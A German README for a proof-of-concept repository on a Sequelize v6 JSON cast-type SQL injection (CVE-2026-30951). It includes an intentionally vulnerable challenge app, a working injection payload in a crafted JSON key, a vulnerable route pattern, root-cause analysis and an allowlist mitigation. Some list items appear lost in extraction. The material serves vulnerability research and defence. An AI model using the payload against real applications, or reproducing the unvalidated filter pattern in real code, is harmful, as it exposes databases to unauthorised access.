
Sequelize JSON Cast SQL-Injektion
★ CVE-2026-30951 Sequelize ORM SQL-Injection PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
CVE-2026-30951 ist eine SQL-Injection-Schwachstelle in Sequelize v6, einem weit verbreiteten Node.js-ORM.
Die Schwachstelle liegt in der Verarbeitung von JSON/JSONB-
where-Klauseln. Wenn Sequelize einen JSON-Pfadschlüssel verarbeitet, der::enthält, wird der Wert nach::als SQL-Cast-Typ behandelt und ohne ordnungsgemäße Validierung in das generierte SQL eingefügt.Wenn ein Angreifer die JSON-Objektschlüssel kontrollieren kann, die in eine Sequelize-
where-Klausel übergeben werden, kann er die generierte SQL-Abfrage manipulieren.
| Kategorie | Version |
|---|
| Anfällig | Sequelize v6.x <= 6.37.7 |
| Gepatcht | Sequelize 6.37.8 |
| Nicht betroffen | Sequelize v7 / @sequelize/core |
Dieses Repository enthält eine minimale anfällige Challenge-App auf Basis von Node.js, Express, Sequelize und SQLite.
npm install
npm start
Die App startet auf:
http://127.0.0.1:9100
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
Der Docker-Container startet auf:
http://127.0.0.1:9100
Nach dem Start der anfälligen Umgebung führen Sie die folgenden Schritte aus, um die Injection zu reproduzieren.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
Dies gibt nur Benutzer zurück, die der normalen Namenssuchlogik entsprechen.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
Erwartetes Ergebnis:
All user rows are returned.
Der präparierte JSON-Schlüssel veranlasst Sequelize, einen Cast-Ausdruck zu generieren, der etwa folgendem entspricht:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
Da der Cast-Typ vom Angreifer kontrolliert wird, verändert die Bedingung OR 1=1 das beabsichtigte Verhalten der WHERE-Klausel. Die Rückgabe aller Zeilen über denselben Suchendpunkt bestätigt, dass eine SQL-Injection möglich ist.
Die Schwachstelle wird durch unzureichende Validierung von JSON-Cast-Typen in Sequelize v6 verursacht.
Intern zerlegt die JSON-Traversierungslogik von Sequelize JSON-Pfadschlüssel an :::
jsonKey::castType
Der Cast-Typ wird dann in generiertem SQL wie folgt verwendet:
CAST(<json_extract_expression> AS <cast_type>)
In anfälligen Versionen wird <cast_type> nicht sicher escaped oder auf eine bekannte sichere Allowlist beschränkt. Dadurch kann ein angreiferkontrollierter JSON-Schlüssel aus dem Cast-Ausdruck ausbrechen und SQL injizieren.
Jedes Anwendungsmuster, das dem folgenden ähnelt, kann bei Verwendung betroffener Sequelize-Versionen anfällig sein:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
Dies ist gefährlich, weil der Angreifer nicht nur JSON-Werte, sondern auch JSON-Objektschlüssel kontrolliert.
Diese Schwachstelle ist besonders gefährlich, weil viele Entwickler davon ausgehen, dass ORM-Query-Builder automatisch vor SQL-Injection schützen. In diesem Fall erfolgt die Injection innerhalb des vom ORM generierten SQL, nachdem die Anwendung bereits strukturierte JavaScript-Objekte an Sequelize übergeben hat.
Je nach Anwendungslogik kann eine Ausnutzung Folgendes ermöglichen:
Dies ist grundsätzlich ein Problem der Kategorie CWE-89: Improper Neutralization of Special Elements used in an SQL Command.
+-------------------------------------------+
| Angreifer |
+-------------------------------------------+
|
| Sendet präparierten JSON-Filter
| mit bösartigem name:: Schlüssel
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where-Klausel
| verarbeitet Schlüssel mit ::
v
+-------------------------------------------+
| Unescaped SQL cast type injection |
+-------------------------------------------+
|
| Manipulation boolescher Bedingungen
v
+-------------------------------------------+
| SQL Injection Confirmed |
+-------------------------------------------+
where-Klauseln:: enthalten, sofern nicht ausdrücklich erforderlichconst allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
Dieses Repository ist ausschließlich für Sicherheitsforschung, defensive Validierung und Bildungszwecke in kontrollierten Umgebungen gedacht.
Verwenden Sie diesen PoC nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben.
Wir veröffentlichen einmal im Monat CVE- und Malware-Analysen. Wenn Sie interessiert sind, folgen Sie bitte den untenstehenden Links, um unsere Publikationen anzusehen.